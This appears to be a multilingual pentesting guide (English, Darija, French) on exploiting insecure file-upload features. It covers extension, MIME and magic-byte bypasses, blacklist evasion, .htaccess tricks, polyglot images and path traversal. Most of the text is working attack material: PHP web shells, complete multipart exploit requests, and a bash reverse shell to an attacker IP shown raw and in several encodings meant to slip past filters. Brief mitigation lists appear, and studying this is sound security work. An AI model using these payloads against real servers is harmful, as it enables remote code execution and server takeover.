File Upload
Exploiting insecure file upload: bypassing extension and content-type checks, obfuscation, blacklisting weaknesses and polyglot web shells.
1. What is a File Upload Vulnerability?#
A file upload vulnerability allows an attacker to upload a malicious file to the server · like a web shell, reverse shell, or backdoor · and execute arbitrary code or gain control over the system.
2. File Upload Request Structure#
Let's understand the file upload request. It contains 5 main sections:
- File name
- File type (MIME type)
- Magic number (file signature)
- File content (payload)
- File size
Example:

POST /upload.php HTTP/1.1
Host: vulnerable.com
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Content-Length: 12345
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
-----------------------------735323031399963166993862150--Key Points#
filename="shell.php"→ controls extension (php, jpg, etc.)Content-Type: application/x-php→ can be faked as image/jpeg- Magic number → first few bytes of file, used for validation
- Content → actual payload (ex: PHP code)
- Content-Length → file size control
3. Where Do We See This?#
This vulnerability can appear in places where users upload files:
- Profile pictures
- Resume/CV submission pages
- Admin tools that accept file imports
- Sites that allow media uploads or sharing
4. Common Developer Protections (and How to Bypass)#
| Protection | Example | Can Be Bypassed? |
|---|---|---|
| File extension filtering | Only .jpg, .png | .php.jpg, .pHp |
| MIME type check | Require image/jpeg | Can be spoofed |
| Magic number check | Must match image format | May be forged |
| File size limit | Max 5MB | Compress payload |
| File renaming | Rename file to random name | Safer if no exec |
| Store outside webroot | Put file in folder not public | Prevents execution |
5. Bypass Examples#
Filename: shell.php.jpg
Filename: shell.pHp
Filename: shell.php%00.jpg
Header: Content-Type: image/png
Payload: Hidden PHP inside image EXIF metadata6. How to Fix It (Mitigation Guide)#
- Only allow specific extensions like
.jpg,.png - Check MIME type and magic number together
- Rename files and store outside web-accessible folder
- Disable PHP execution in the upload directory
- Add server-side antivirus or upload scanner
Bypassing Developer Validations#
(Blacklists)#
Scenario 1 – Regex Blacklist
Developers may use simple regular expressions to block extensions like .php, .php5, .exe, etc.
if(preg_match('^.*\.(php|php1|php2|php3|php4|php5|php6|php7|phtml|exe)$', $file)) {
echo "Bad Hacker!";
header("Location: http://badHacker.com/");
}Bypass:
The regex is case-sensitive. So .PHP, .Php5, or even .PhP will bypass the filter.
Mitigation:
Use i flag to make regex case-insensitive:
preg_match('/^.*\.(php|php1|php2|php3|php4|php5|php6|php7|phtml|exe)$/i', $file);Scenario 2 – Apache Linux#
If server runs on Apache/Linux and blacklists .php, attackers may use .pht extensions.
Apache can treat .pht files as PHP depending on server config.
Bypass:
Upload test.pht with embedded PHP code. Apache may interpret it as a PHP script.
Scenario 3 – IIS (Windows Server)#
IIS ≤ 7.5 maps .cer and .asa files to ASP handlers.
Even if .asp is blocked, attackers can use .cer or .asa to upload ASP payload.
Bypass:
Upload a file like file.cer with ASP code. IIS might execute it.
Scenario 4 – Unusual Extensions (XSS via .eml)#
If developers blacklist all executable types but ignore extensions like .eml, attackers can use them to trigger stored XSS (especially in Internet Explorer).
Example .eml content:
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
=3Cscript=3Econfirm(1)=3C/script=3EAccessing this file in IE triggers XSS.
*php reverse shell
<?php system($_GET['cmd']); ?>Source:
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/ (opens in a new tab)
Version Arabe#
مقدمة ثغرات رفع الملفات هي نوع من الثغرات اللي كتمكّن المهاجم يرفع ملفات خبيثة للسيرفر، وهاد الملفات تقدر تكون سكريبتات أو أوامر تمكنه من التحكم الكامل في الموقع أو حتى السيرفر كامل.
ما هي ثغرات رفع الملفات؟#
هي ثغرات تحدث عندما يسمح الموقع للمستخدمين برفع ملفات إلى الخادم بدون التحقق الجيد من: اسم الملف نوع الملف (الامتداد) محتوى الملف حجم الملف إذا لم يكن هناك تحقق قوي، حتى لو كان النموذج مخصصًا لرفع الصور فقط، يمكن للمهاجم أن يرفع: ملفات PHP أو JSP قابلة للتنفيذ سكريبتات خبيثة أو ملفات كبيرة جدًا تسبب هجوم حجب الخدمة (DoS) عن طريق ملء مساحة التخزين
التأثير (Impact)#
تأثير الثغرة يعتمد على: الجزء الذي لم يتحقق منه الموقع (الحجم، النوع، المحتوى، إلخ). القيود المفروضة على الملف بعد رفعه. أسوأ السيناريوهات: عدم التحقق من نوع الملف. السيرفر يسمح بتنفيذ الملفات مثل PHP/JSP. النتيجة: المهاجم يرفع Web Shell ويتحكم بالسيرفر بالكامل.
أمثلة أخرى: استبدال ملفات مهمة إذا لم يتم التحقق من الاسم. رفع ملفات في أماكن غير متوقعة إذا كان هناك ثغرة مسار (Directory Traversal). ملء القرص الصلب بملفات كبيرة لإيقاف الموقع (DoS).
كيف تحدث هذه الثغرات؟#
عادةً، المطورون يضعون قيود لكن أحيانًا تكون ضعيفة أو يمكن تجاوزها: الاعتماد على قائمة سوداء (Blacklist) لامتدادات الملفات، لكنها ليست شاملة، أو يمكن التحايل عليها. التحقق من نوع الملف عن طريق MIME type، لكن يمكن تغييره بسهولة باستخدام أدوات مثل Burp Suite. التحقق قد يكون غير مطبق على جميع السيرفرات أو المسارات داخل الموقع.
🌐 كيف يتعامل السيرفر مع الملفات؟
عندما يتلقى السيرفر طلبًا لملف، يقوم بـ: ملف غير تنفيذي (صورة، HTML) → إرساله مباشرة للمستخدم. ملف تنفيذي (PHP، ASP) → تنفيذ الكود وإرسال النتيجة. ملف تنفيذي غير مدعوم للتنفيذ → قد يعرضه كنص أو يعطي خطأ، وأحيانًا هذا يكشف الكود المصدري.
طرق الاستغلال الشائعة#
تغيير الامتداد (مثل: shell.php → shell.php.jpg) استخدام امتداد مزدوج (shell.php.png) رفع الملف ثم الدخول إليه عبر رابط مباشر لتشغيله رفع ملف بنفس اسم ملف مهم لاستبداله استغلال ثغرات المسارات لوضع الملف في مكان حساس
الخلاصة:#
أي نموذج رفع ملفات هو هدف مغري للمخترقين، لذلك يجب التأكد من التحقق الصارم من:
نوع الملف حجمه اسمه محتواه ومكان تخزينه
Obfuscating file extensions#
When a web application validates file extensions improperly, attackers can bypass restrictions using obfuscation techniques.
Here are the main methods:
🔑 Common Techniques#
-
Multiple Extensions
Example:exploit.php.jpg
Some parsers may interpret it as a PHP file instead of an image. exploit.pphphp or exploit.p.phphp -
Trailing Characters
Example:exploit.php.
Certain components ignore trailing dots, spaces, or whitespaces. -
URL Encoding / Double URL Encoding
Example:exploit%2Ephp
Encoded dots, slashes, or backslashes can bypass naive filters. -
Null Byte Injection or Semicolons
Example:exploit.asp%00.jpgorexploit.asp;.jpg
High-level validation may be bypassed while low-level functions treat it differently. -
Unicode Obfuscation
Using multibyte Unicode chars that normalize into null bytes or dots.
Example sequences:xC0 x2E,xC4 xAE→ may become.after conversion.
reverse shell bypass#
echo 'GIF8<?php system("bash -c \"bash -i >& /dev/tcp/attackerIp/port 0>&1\""); ?>' > shell.gif
mv shell.gif shell.gif.Php5Encode#
this payload
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/IP_attacker/port 0>&1'");
?>## HTML Entities Encoding
<?php
$payload = 'exec("/bin/bash -c \'bash -i >& /dev/tcp/IP_attacker/port 0>&1\'");';
$encoded = htmlspecialchars($payload, ENT_QUOTES);
echo $encoded;
?>
## URL Encoding Complet
<?php
$payload = '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/IP_attacker/port 0>&1\'"); ?>';
$encoded = urlencode($payload);
echo $encoded;
?>
## Base64 + HTML Entities
<?php
$code = 'exec("/bin/bash -c \'bash -i >& /dev/tcp/IP_attacker/port 0>&1\'");';
$base64 = base64_encode($code);
$final = htmlspecialchars("eval(base64_decode('$base64'));");
echo $final;
?>
## autre techniques
<?php
$payload = 'exec("/bin/bash -c \'bash -i >& /dev/tcp/IP_attacker/port 0>&1\'");';
$encoded = str_replace(
['"', "'", '>', '<', '&', '/', '(', ')', ';', '='],
['"', ''', '>', '<', '&', '/', '(', ')', ';', '='],
$payload
);
echo $encoded;
?>
📌 In Brief#
Attackers exploit discrepancies between how the application validates filenames and how the server interprets them.
The result: malicious files (e.g., PHP web shells) are uploaded and executed.
https://sushant747.gitbooks.io/total-oscp-guide/content/bypass_image_upload.html (opens in a new tab)
Defensive Measures#
- Enforce strict allow-lists of file extensions.
- Validate MIME type & content, not just filename.
- Normalize input before validation (strip null bytes, unicode conversions).
- Store uploads outside web root.
Bypassing insufficient blacklisting#
🚨 تجاوز البلاك ليست (Insufficient Blacklisting)#
📌 الفكرة العامة
المطورين كيعتمدو أحياناً على بلاك ليست لمنع رفع الملفات التنفيذية (بحال .php).
لكن هاد الحماية ضعيفة حيت صعيب تحصر جميع الامتدادات القابلة للتنفيذ.
⚠️ فين كيكون الخلل؟
حتى لو منعو .php، يقدر السيرفر يشغل امتدادات أخرى:
.php5.phtml.shtml.asp.aspx.jsp
🛠 مثال على الاستغلال
- إذا الموقع كيرفض
shell.php، جرّبshell.php5أوshell.phtml. - إذا السيرفر مبرمج على تنفيذ هاد الامتداد، الملف غيتنفذ عادي.
🔹 تجاوز البلاك ليست عبر تعديل إعدادات السيرفر
السيرفرات غالباً ما كتحتاج إعدادات خاصة باش تشغل سكريبتات، مثلاً Apache:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .phpولكن يمكن إضافة إعدادات خاصة بالمجلد عبر:
- Apache:
.htaccess - IIS:
web.config
🎯 استغلال رفع ملفات الإعدادات
إذا السيرفر ما مانعش رفع ملفات الإعدادات:
- رفع
.htaccessفيه:
AddType application/x-httpd-php .evil- رفع
shell.evilفيه:
<?php system($_GET['cmd']); ?>- الوصول إليه:
http://target.com/uploads/shell.evil?cmd=whoami🧪 مثال HTTP Request#
httpPOST /upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----XYZ ------XYZ Content-Disposition: form-data; name="file"; filename="shell.php5" Content-Type: application/x-php <?php system($_GET['cmd']); ?> ------XYZ--
📌 الخلاصة
البلاك ليست ماشي كافية. الحل الأفضل هو:
- وايت ليست للامتدادات المسموح بها.
- تحقق من النوع الحقيقي للملف (Magic Bytes).
- تحقق من المحتوى قبل الحفظ.
Polyglot web shell upload#
🐚 رفع Web Shell باستخدام ملف صورة (Polyglot Upload)#
📌 الفكرة العامة
هاد الطريقة كتعتمد على رفع سكريبت PHP داخل ملف تيبان كأنه صورة (.png) باش ندوز من الفاليدايشن.
🧠 شنو كيدير هاد الكود:
<?php system($_GET['evil']); ?>- كيأخذ القيمة من الباراميتر
evilفالـ URL. - وكيشغلها مباشرة فالسيرفر (مثلاً:
?evil=whoami).
🎯 علاش .png؟
باش يدوز من:
- البلاك ليست ديال
.php - التحقق من
Content-Type: image/png
هادشي معروف بـ Polyglot File (ملف فيه تنسيق مزدوج).
✅ الشروط باش ينجح
- السيرفر كينفذ ملفات حتى لو
.png(مثلاً بسبب.htaccess). - أو
.htaccessكتسمح بتنفيذ.pngكـ PHP:
AddType application/x-httpd-php .png🧪 مثال HTTP Request
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="minion.png"
Content-Type: image/png
<?php system($_GET['evil']); ?>
------WebKitFormBoundary--🌐 استغلال عملي
- ترفع الملف
minion.pngفيه الكود اللي فوق. - تمشي للرابط:
http://target.com/uploads/minion.png?evil=idإذا تنفذ الأمر → فالسيرفر قابل للتنفيذ ووقع bypass.
⚠️ ملاحظة أمنية
هاد النوع من Web Shells ممكن ينجح فقط إلا السيرفر مكون بشكل سيء. فالسيرفرات المؤمنة، .png ما كيكونش قابل للتنفيذ.
Content-type and validation notes#
ملاحظة مهمة:
بعض السيرفرات كيديرو التحقق من الملفات المرفوعة على أكثر من مستوى:
- Content-Type (النوع المرسل فالـ HTTP Header)
- اسم الملف (Filename + extension)
- محتوى الملف الفعلي (Full file content)
لاكتشاف نقطة الضعف، خاصك تختبر كل مستوى بوحدو:
1️⃣ اختبار Content-Type#
الفكرة: نرسل ملف فيه محتوى خبيث لكن Content-Type صحيح (image/jpeg).
httpPOST /upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg <?php system($_GET['cmd']); ?> ------WebKitFormBoundary--Payloads ممكنة:
Content-Type: image/jpegمع ملف PHPContent-Type: image/pngمع ملف JSPContent-Type: text/plainمع كود تنفيذ أوامر
2️⃣ اختبار Filename#
الفكرة: نغير الاسم أو الامتداد فقط ونخلي المحتوى خبيث. أمثلة:
shell.php.jpgshell.php%00.jpg(Null byte bypass)shell.php;.jpg(IIS bypass)shell.php/(Apache parsing trick)HTTP Example:
httpContent-Disposition: form-data; name="file"; filename="shell.php.jpg" Content-Type: image/jpeg <?php system($_GET['cmd']); ?>
3️⃣ اختبار محتوى الملف#
الفكرة: نخلي الاسم وContent-Type صحيحين لكن المحتوى فيه كود خبيث. مثال:
- ملف باسم
image.jpgوContent-Typeimage/jpegلكن بداخلو: php<?php system($_GET['cmd']); ?>
- أو نخفي الكود داخل صورة حقيقية (Polyglot file):
bashcat image.jpg shell.php > evil.jpgالهدف:
هاد الاختبارات غتبيّن واش الحماية كتوقف عند مستوى واحد أو كتجمع بين أكثر من طبقة، وهادشي كيحدد طريقة الاستغلال.
3 eme technique :#
ملاحظة حول Bypassing منع تنفيذ الملفات:
ملي السيرفر يمنع تشغيل السكريبتات في مجلد الرفع (uploads مثلاً)، واحد الطريقة الممكنة هي تحاول ترفع الملف لكن تحطو فمسار آخر أقل حماية باستعمال Path Traversal.
🎯 الفكرة#
- نسمي الملف ديالنا مثلاً:
exploit.php- فـ
filenameنضيف مسار راجع للخلف: text../exploit.php- هاد الشي كيحاول يطلع من مجلد الرفع ويمشي لمجلد آخر قابل للتنفيذ.
🔐 مع الـ URL Encoding#
السيرفرات بزاف كيتحققو من
../، لكن يقدرو ما يكشفوش إذا كان مشفر:
../→%2e%2e%2f../→..%2f- أو باستعمال double encoding:
../→%252e%252e%252f🧪 مثال HTTP Request#
httpPOST /upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----XYZ ------XYZ Content-Disposition: form-data; name="file"; filename="%2e%2e%2fexploit.php" Content-Type: application/x-php <?php system($_GET['cmd']); ?> ------XYZ--📌 الهدف#
إذا كان المجلد الرئيسي (مثلاً
/var/www/html/) فيه صلاحية تنفيذ السكريبتات، والسيرفر ما كيتحققش مزيان من المسار، الملف غادي يتخزن فمجلد قابل للتنفيذ وتقدر توصله بـ: texthttp://target.com/exploit.php?cmd=id